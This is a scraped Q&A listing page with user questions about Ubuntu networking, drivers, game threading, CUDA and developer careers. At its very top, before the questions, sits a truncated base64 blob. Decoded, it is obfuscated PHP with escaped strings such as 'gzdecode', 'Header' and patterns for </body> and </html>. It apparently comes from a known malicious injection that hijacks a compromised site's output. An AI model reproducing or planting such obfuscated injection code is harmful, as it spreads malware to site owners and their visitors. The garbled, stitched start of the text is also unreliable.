TQxXHg2M1wxNDUiOyAkZXZhMWZZMmIwbGx6YzhsNSA9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNTVceDYxXDE2NFx4NjNcMTUwIjsgJGV2YTFmWTJiMDIyemM4bDUgPSAiXHg0OFwxNDVceDYxXDE0NFx4NjVcMTYyIjsgJGV2YTFmWTJiMDIyem84bDUgPSAiXHg2N1wxNzJceDY0XDE0NVx4NjNcMTU3XHg2NFwxNDUiOyAkZXZhMWZZMmIwNTJ6bzhsNSA9ICJceDQzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0XDU1XHg0NVwxNTZceDYzXDE1N1x4NjRcMTUxXHg2ZVwxNDdceDNhXDQwXHg2ZVwxNTdceDZlXDE0NSI7ICRldmExZlkyYjA1MnpvOGwxID0gIlx4MmZcMTM0XHgzY1wxMzRceDJmXDE0Mlx4NmZcMTQ0XHg3OVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYyem84bDEgPSAiXHgyZlw1MFx4NWNcNzRceDVjXDU3XHg2MlwxNTdceDY0XDE3MVx4NWJcMTM2XHg1Y1w3Nlx4NWRcNTJceDVjXDc2XHgyOVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYxem84bDEgPSAiXHgyZlwxMzRceDNjXDEzNFx4MmZcMTUwXHg3NFwxNTVceDZjXDU3XHg3M1wxNTEiOyAkZXZhMWZZMmJvNjF6bzhsMSA9ICJceDJmXDUwXHg1Y1w3NFx4NWNcNTdceDY4XDE2NFx4NmRcMTU0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?>

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• Weird internet connection issue on Ubuntu 14.04

  - by user287876

  I have an old Gateway PC with Windows 7 installed alongside the original (XP, I think?). A while ago my friend walked me through and helped me install Ubuntu 14.04 alongside the others because my Win7 was having issues with the display driver (it would unexpectedly crash while trying to watch videos on YouTube or other places). And I can't update it because the original computer settings are for XP or something, not Win7. :( We recently switched from AT&T U-Verse to Comcast. I would have stayed with Ethernet, but somehow the adapter I have wouldn't connect to Comcast's thing during their installation. So I was given a wireless USB adapter. It worked fine, up until the last few days. It's not a problem on Win7 (using it right now). Connection's strong, things load. On Ubuntu though, it SAYS it connects even before I login to my account, but when I login and bring up Firefox, it will load the homepage, and maybe one or two other pages I venture to before suddenly just... endlessly trying to load the page. I would normally go in and manually select 'disconnect' from the connections options menu to refresh/restart it like I've done a few times already. But lately, it won't respond, and then a little while later an error message comes up saying the request timed out/failed. Restarting my computer doesn't help it. The other weird thing is that I've noticed the signal (when it's actually working properly before the last few days) is comparitively weaker than when I'm on Win7. But my location doesn't change. It's the same computer, same connection.

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• Should developers do their own software releases (if there is a prod support team in place)?

  - by leora

  I know there are going to always be differences depending on the particular size, staff etc, but i wanted to get feedback in general around: In an environment where you have a production support team doing first line support and release management, is it better to simply have developers manage their own releases instead? In this case, its internal software at an insurance company but the question should be valid at any company, size, etc I think. Currently, we have our production team do releases but there is an argument that its inefficient and that if you allowed developers the ability to do it, they will focus more on making it simple and efficient and avoid basically passing on scripts, etc to run to another team. The counter argument is that if you don't have a check and balance, you could get a software team (or an individual) that doesn't a very hacky job about getting their software out there (making on the fly changes, not documenting the process, etc) and that by forcing the prod support team to do the actual release, it enforces consistency and proper checks and balances. I know this is not a black or white issue but I wanted to see what folks thought on this so the discipline and consistency is there but without the feeling that an inefficient process is in place.

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• How do I fix the Dash search not being able to find "additional drivers" nor "update"?

  - by Dronz

  I am a fairly new user of Ubuntu, and currently have two 12.04 installations, one of which seems to work ok but I have two problems. The problem I'm asking about in this question, is that the Dash search seems unable to find things, such as "additional drivers" or "update". On my working machine, searching for "additional drivers" there finds an icon for the driver program, but on the problem machine, it gives "Sorry, there is nothing that matches your search." Dash also only shows sections for Recent Files, and Downloads, on that machine. The account I'm running is an admin account. This installation also has a stuck Ubuntu Software Center (it loads and hangs) as in threads like this one. I don't think I've done very much to this computer that could cause a problem. I installed g++ and Wt to do some programming. The biggest change I can remember is uninstalling the newfangled scrollbars with "sudo apt-get remove liboverlay-scrollbar3-0.2-0", but re-installing that module seems to have no effect on these issues. Anyone have any ideas? Both machines have been updated with all recommended updates and say they are up to date.

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• Associate a texture to an object (from a data-model, not graphical point of view).

  - by Raveline

  I'm writing a roguelike where objects and floor can be made of different materials. For instance, let's say we can have a wooden chair, an iron chair, a golden chair, and so on. I've got an Object class (I know, the name is terrible), which is more or less using a composite pattern, and a Material class. Material have different important properties (noise, color...). For the time being, there are 5 different instances of materials, created at the initialization of the game. How would connect an instance of Object with one of the 5 instances of materials ? I see three simple solutions : Using a pointer. Simple and brutal. Using an integer material-id, then get the materials out of a table when engine manipulates the object for various purposes (display, attack analysis, etc.). Not very beautiful, I think, and not very flexible. Using an integer material-id, then get the materials out of a std::map. A bit more flexible, but still not perfect. Do you see other possibilities ? If not, what would you choose (and why) ? Thanks in advance !

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• I bought a new battery and Ubuntu 12.10 isn't recognizing it

  - by user134403

  I inherited my mom's old laptop and installed Ubuntu over top of Vista, so now it is purely Ubuntu. Her old battery only lasted about 10 minutes, so it had to be plugged in all the time, which I didn't like. So I bought a battery, and inserted it in when it came. The laptop doesn't see it at at all- no battery icon whatsoever. I can pull it out and put the old battery in and it recognizes it. The new battery comes with a program (a .exe) to update the bios to accommodate the new battery... But don't have Windows anymore and Wine gives me an error when I try to run it, so I am at a loss of ideas. I thought of running a virtual machine of Windows to install it, or run a Windows To Go drive(a new feature of Windows 8), but I don't think those are good ideas as they may not work or permanently ruin something. I am not an extremely experienced user of Ubuntu/Linux, so I don't where to go from here. I'm running Ubuntu 12.10 on a Sony Vaio VGN-NR, if that helps. Also note that I just installed Ubuntu the other day and have nothing important on the pc yet, so I am not afraid to reinstall Ubuntu if it may help. Thanks!

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• Can I install Ubuntu 13.10 without the internet?

  - by user1526570

  I'm new to Ubuntu and Linux in general. I'm currently out of town and the dorm I am living in has terrible internet connection. It won't be another 2-3 weeks before I can go home and have proper internet connection. So my question is whether or not I can install Ubuntu 13.10 in my laptop without the internet and then do the updates once I go home? Also, I'm attempting to do a dual boot with my Lenovo G505s which was pre-installed with Windows 8. Hopefully I can pull this off. I already did the necessary things (I think and hope so) prior to installation: Disable secure boot Enable legacy and boot UEFI first Create partition Put installer in my pen drive As I am quite new to this, any advice would be of great help. Thanks in advance! EDIT: I tried yesterday. The installation asked me to connect to the internet, so I used my crappy dorm internet. When it reached the downloading/installtion of Ubuntu One, it just stopped and went on forever. So I had to stop it.

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• Are my negative internship experiences respresentative of the real world?

  - by attemptAtAnonymity

  I'm curious if my current experiences as an intern are representative of actual industry. As background, I'm through the better part of two computing majors and a math major at a major university; I've aced every class and adored all of them, so I'd like to think that I'm not terrible at programming. I got an internship with one of the major software companies, and half way through now I've been shocked at the extraordinarily low quality of code. Comments don't exist, it's all spaghetti code, and everything that could be wrong is even worse. I've done a ton of tutoring/TAing, so I'm very used to reading bad code, but the major industry products I've been seeing trump all of that. I work 10-12 hours a day and never feel like I'm getting anywhere, because it's endless hours of trying to figure out an undocumented API or determine the behavior of some other part of the (completely undocumented) product. I've left work hating the job every day so far, and I desperately want to know if this is what is in store for the rest of my life. Did I draw a short straw on internships (the absurdly large paychecks imply that it's not a low quality position), or is this what the real world is like?

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• If you had to go back and re-learn your skill set, how would you do it?

  - by vorbb

  My younger brother is looking to start programming. He's 14, and technically-inclined, but no real experience programming. He's looking to me for guidance, and I don't feel as if my experience is enough, so I figured I'd ask here. He's more interested in web programming, but also has an interest in desktop/mobile/server applications. What would be a good learning path for him to take? I'm going to buy him a bunch of books for Christmas to get him started; the question is, what should he learn, and in which order? The way I see it, he needs to learn theory and code. I'd like to start him off with Python or Ruby or PHP. If he wants to get in to web, he's also going to need to learn HTML, CSS, Javascript, etc. Out of those three domains (Languages, Theory, Markup/Etc.), what is the best order do you think to learn in? Also, am I missing anything? Thanks!

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• What do you consider standard job perks? [closed]

  - by reseter

  What does a company need to offer you (apart from a fat pay cheque) for you to work for them? I am aware of this question, which is from an employer's perspective. I am interested in your views as employees. To get the discussion started, here is a list off the top of my head (not in any particular order): High-end computer with a huge screen or two. The best software tool money can buy as per Joel's test). That isn't too much to ask given many of the best tools are free (think git). Flexibility is a bonus- if a particular platform/ piece of software is not absolutely required, I would like to pick my OS and IDE. A quality chair Quiet workspace. Open plan is fine as long as there are meeting rooms so that there is no constant chatter going on around me. Spacious workspace. I would rather have more than three inches between my mouse and the person next to me's keyboard. Food and drink at work. Many companies these days have fruit baskets, biscuits, etc available to their employees, some even offer free lunch. Education. If my employer wants my skills to stay up-to-date, they should at the very least understand I need time to learn. If they want to pay for my books and conference registration fees, I am more than happy to accept. Other options include organizing internal knowledge exchange days or inviting speakers from outside. Flexible hours/ option to work from home is a bonus

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• Do I have to change my company to make sure I'm good enough? [closed]

  - by superM

  I have been working as a developer since my fourth year of university until now. I'm getting my master's degree next year (in math modeling). I've worked for the same company all the time, first on .Net, then on Android, and now .Net again. It seems I'm doing quite well in my current company. Some of my coursemates have tried to work in my company, but they failed after some time. This (and not only this) makes me think that I'm really worth something. But we're working on a very specific project. I was wondering if I am good enough and if I can make it in another company. I love my current job, but sometimes I have a feeling that I'm not moving on. So, is it possible to keep improving when working at the same company with the same technology and at similar tasks? I know that most of the programmers go from one place to another very frequently. Is it the only way?

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• Separate update and render

  - by NSAddict

  I'm programming a simple Snake in Java. I'm a complete newbie when it comes to Java and Game Developing, so please bear with me ;) Until now, I have been using a UI thread, as well as a update-thread. The update thread just set the position, set the GameObjects, and so on. I didn't think much of concurrency, but now I've come to a problem. I wanted to modify the ArrayList<GameObject>, but it throws a java.util.ConcurrentModificationException. With a little research I found out that this happens because the two threads are trying to access the variables at the same time. But I didn't really find a way to prevent this. I thought about copying the array and swapping them out when the rendering is finished, but I would have to deep-copy them, which isn't really the best solution in my opinion. It probably eats up more CPU resources than a single-threaded game. Are there any other ways to prevent this? Thanks a lot for your help!

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• Ubuntu 12.04 login screen flickers. “Could not write bytes: broken pipes”

  - by Brayn

  I use Ubuntu 12.04 x64 with a dual-boot setup. Yesterday it worked fine but this morning when I attempted to boot it gets to the login screen and then it just flickers, alternating between the login screen and the console showing boot items (mainly Apache, the last one being "Battery status" although it's a desktop) all with [OK] status. The only error that I can see is: "Could not write bytes: broken pipes" on top of the screen. The only things I can think of that could cause this are: This morning I had a removable hdd plugged in during boot time, which I usually don't have Yesterday I've installed Dwarven Fortress that requires some x32 libraries so I've installed ia32 using synaptic. As far as I know this shouldn't brake the system but I didn't reboot yesterday so I can't be sure. I've tried booting in recovery mode and tried running the utils there but still no luck. I've ran out of ideas. Thanks. EDIT: Forgot to mention that all partitions have plenty of free space EDIT2: In the end I just reinstalled Ubuntu as time was of the essence.

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• Enable wireless greyed out. Disabled by hard switch. Details inside

  - by ltlunatic

  Ok so the basic issue here is this: My wireless has not once enabled through many environments. Wubi install: Enable wireless greyed out Live cd: greyed out Partition alongside win7: greyed out. I installed all software updates, checked additional drivers, installed the latest driver for RTL8111/8168B. rfkill list shows phy0 and phy1. Phy0 has a hardblock on. everything else is unblocked. Now consider this also: I have both a wireless adapter inside my laptop and a wireless usb adapter outside. The internal adapter does not work, hence why I think hardblock is on even if the external slider in 'on'. I have tried commands such as rfkill unblock all as well as sudo rfkill unblock all. No wireless options in the BIOS. I have tried another laptop and desktop and they get wireless from the get go. Ubuntu on my laptop seems to see my belkin adapter as well as my internal (ralink) one. But trying to scan networks yields no results and says network is down always. Ubuntu version: 12.04 lts Ask me anything else you may need to help me, thanks.

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• How to avoid tons of `instanceof` in collision detection?

  - by Prog

  Consider a simple game with 4 kinds of entities: Robots, Dogs, Missiles, Walls. Here's a simple collision-detection mechanism in psuedocode: (I know, O(n^2). Irrelevant for this question). for(Entity entityA in entities){ for(Entity entityB in entities){ if(collision(entityA, entityB)){ if(entityA instanceof Robot && entityB instanceof Dog) entityB.die(); if(entityA instanceof Robot && entityB instanceof Missile){ entityA.die(); entityB.die(); } if(entityA instanceof Missile && entityB instanceof Wall) entityB.die(); // .. and so on } } } Obviously this is very ugly, and will get bigger and harder to maintain the more entities there are, and the more conditions there are. One option to make this better is to have separate lists for each kind of entity. For example a Robots list, a Dogs list etc. And than check for collisions of all Robots with Dogs, and all Dogs with Walls, etc. This is better, but I still don't think it's good. So my question is: The collision detection system spotted a collision. Now what? What is the common way to react to the collision? Should the system notify the entity itself that it collided with something, and have it decide for itself how to react? E.g. entityA.reactToCollision(entityB). Or is there some other solution?

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• Should I amortize scripting cost via bytecode analysis or multithreading?

  - by user18983

  I'm working on a game sort of thing where users can write arbitrary code for individual agents, and I'm trying to decide the best way to divide up computation time. The simplest option would be to give each agent a set amount of time and skip their turn if it elapses without an action being decided upon, but I would like people to be able to write their agents decision functions without having to think too much about how long its taking unless they really want to. The two approaches I'm considering are giving each agent a set number of bytecode instructions (taking cost into account) each timestep, and making players deal with the consequences of the game state changing between blocks of computation (as with Battlecode) or giving each agent it's own thread and giving each thread equal time on the processor. I'm about equally knowledgeable on both concurrency and bytecode stuff, which is to say not very, so I'm wondering which approach would be best. I have a clearer idea of how I'd structure things if I used bytecode, but less certainty about how to actually implement the analysis. I'm pretty sure I can work up a concurrency based system without much trouble, but I worry it will be messier with more overhead and will add unnecessary complexity to the project.

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• How should I implement multiple threads in a game? [duplicate]

  - by xerwin

  This question already has an answer here: Multi-threaded games best practices. One thread for 'logic', one for rendering, or more? 6 answers So I recently started learning Java, and having a interest in playing games as well as developing them, naturally I want to create game in Java. I have experience with games in C# and C++ but all of them were single-threaded simple games. But now, I learned how easy it is to make threads in Java, I want to take things to the next level. I started thinking about how would I actually implement threading in a game. I read couple of articles that say the same thing "Usually you have thread for rendering, for updating game logic, for AI, ..." but I haven't (or didn't look hard enough) found example of implementation. My idea how to make implementation is something like this (example for AI) public class AIThread implements Runnable{ private List<AI> ai; private Player player; /*...*/ public void run() { for (int i = 0; i < ai.size(); i++){ ai.get(i).update(player); } Thread.sleep(/* sleep until the next game "tick" */); } } I think this could work. If I also had a rendering and updating thread list of AI in both those threads, since I need to draw the AI and I need to calculate the logic between player and AI(But that could be moved to AIThread, but as an example) . Coming from C++ I'm used to do thing elegantly and efficiently, and this seems like neither of those. So what would be the correct way to handle this? Should I just keep multiple copies of resources in each thread or should I have the resources on one spot, declared with synchronized keyword? I'm afraid that could cause deadlocks, but I'm not yet qualified enough to know when a code will produce deadlock.

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• New mainboard with 890GX chipset disables lightdm, even when using old graphics card instead of onboard graphics, startx works (Xubuntu 12.04)

  - by user99250

  I am trying to migrate an installed Xubuntu 12.04 to a new mainbaord with 890GX chipset. The Chipset has a built-in Radeon HD 4290 graphics. The system boots, but X won't start. The most suspicious message in Xorg.0.log is "ddxSigGiveUp: Closing log". When searching for this message, I found some answers like "remove your xorg.conf" (but there is none on my system). Or bug reports for fglrx (but that's not installed on my system). Or NVidia-related questions ... Interestingly, "startx" succeeds in opening a basic XFCE session. Then, I tried to disable the onboard graphics in the BIOS setup and use the old PCIe graphics card (Radeon HD 5450). No change. I don't think I can just blacklist a module, because the graphics card and the onboard graphics are covered by the same module. At the moment, use the free radeon drivers, not the restricted fglrx driver. If possible, I would like to stay on the free driver for two reasons: The fglrx driver from the ubuntu packages fails to build the kernel module. In past, I had bad experiences with the fglrx driver and changing screen config with RandR. When I connect the harddisk and the graphics card to my old mainboard, everything works again. This means, I have not screwed up my system configuration wile installing and removing the fglrx drivers. When I ordered this mainboard, I thought the 890GX is old enough to be supported and if not, I could still use my graphics card as backup solution. But without even the backup soluton, I'm screwed ... Any ideas ? Thanks and Regards, Kubuntu-Man (now switched to Xubuntu)

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• how to speed up this code? [migrated]

  - by dot

  I have some code that's taking over 3 seconds to complete. I'm just wondering if there's a faster way to do this. I have a string with anywhere from 10 to 70 rows of data. I break it up into an array and then loop through the array to find specific patterns. $this->_data = str_replace(chr(27)," ",$this->_data,$count);//strip out esc character $this->_data = explode("\r\n", $this->_data); $detailsArray = array(); foreach ($this->_data as $details) { $pattern = '/(\s+)([0-9a-z]*)(\s+)(100\/1000T|10|1000SX|\s+)(\s*)(\|)(\s+)(\w+)(\s+)(\w+)(\s+)(\w+)(\s+)(1000FDx|10HDx|100HDx|10FDx|100FDx|\s+)(\s*)(\w+)(\s*)(\w+|\s+)(\s*)(0)/i'; if (preg_match($pattern, $details, $matches)) { array_push($detailsArray, array( 'Port' => $matches[2], 'Type' => $matches[4], 'Alert' => $matches[8], 'Enabled' => $matches[10], 'Status' => $matches[12], 'Mode' => $matches[14], 'MDIMode' => $matches[16], 'FlowCtrl' => $matches[18], 'BcastLimit' => $matches[20])); }//end if }//end for $this->_data = $detailsArray; Just wondering if you think there's a way to make it more efficient. Thanks.

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• What does the Sys_PageIn() function do in Quake?

  - by Philip

  I've noticed in the initialization process of the original Quake the following function is called. volatile int sys_checksum; // **lots of code** void Sys_PageIn(void *ptr, int size) { byte *x; int j,m,n; //touch all memory to make sure its there. The 16-page skip is to //keep Win 95 from thinking we're trying to page ourselves in (we are //doing that, of course, but there's no reason we shouldn't) x = (byte *)ptr; for (n=0 ; n<4 ; n++) { for (m=0; m<(size - 16 * 0x1000) ; m += 4) { sys_checksum += *(int *)&x[m]; sys_checksum += *(int *)&x[m + 16 * 0x10000]; } } } I think I'm just not familiar enough with paging to understand this function. the void* ptr passed to the function is a recently malloc()'d piece of memory that is size bytes big. This is the whole function - j is an unreferenced variable. My best guess is that the volatile int sys_checksum is forcing the system to physically read all of the space that was just malloc()'d, perhaps to ensure that these spaces exist in virtual memory? Is this right? And why would someone do this? Is it for some antiquated Win95 reason?

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• Parallelize code using CUDA [migrated]

  - by user878944

  If I have a code which takes struct variable as input and manipulate it's elements, how can I parallelize this using CUDA? void BackpropagateLayer(NET* Net, LAYER* Upper, LAYER* Lower) { INT i,j; REAL Out, Err; for (i=1; i<=Lower->Units; i++) { Out = Lower->Output[i]; Err = 0; for (j=1; j<=Upper->Units; j++) { Err += Upper->Weight[j][i] * Upper->Error[j]; } Lower->Error[i] = Net->Gain * Out * (1-Out) * Err; } } Where NET and LAYER are structs defined as: typedef struct { /* A LAYER OF A NET: */ INT Units; /* - number of units in this layer */ REAL* Output; /* - output of ith unit */ REAL* Error; /* - error term of ith unit */ REAL** Weight; /* - connection weights to ith unit */ REAL** WeightSave; /* - saved weights for stopped training */ REAL** dWeight; /* - last weight deltas for momentum */ } LAYER; typedef struct { /* A NET: */ LAYER** Layer; /* - layers of this net */ LAYER* InputLayer; /* - input layer */ LAYER* OutputLayer; /* - output layer */ REAL Alpha; /* - momentum factor */ REAL Eta; /* - learning rate */ REAL Gain; /* - gain of sigmoid function */ REAL Error; /* - total net error */ } NET; What I could think of is to first convert the 2d Weight into 1d. And then send it to kernel to take the product or just use the CUBLAS library. Any suggestions?

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• D20 java engine

  - by javydreamercsw

  I'm trying to incorporate PCGen into my application to avoid recreating the wheel for D20 system. (Are there any other libraries out there?) In other words I would like to use PCGen as a library and do things like: CRUD characters (and all related information) Experience/level managements I don't need the GUI part of it just the information to pass to my application. This is a scenario I can think of: 1. Load available custom classes 2. Create a new Character/NPC 3. Transfer the stats to my system 4. Player keeps playing so I need to update experience 5. Save player in my system and recreate it later. I'm trying to start to create a character from PCClass with no luck. Looking at the code it seems it'll try to load it. I assume load from a file generated from the GUI. Is there a way of bypassing the GUI for all this? I was looking for a tutorial of some sorts without luck. I was able to figure out how to use the dice within PCGen but that's about it. Any ideas?

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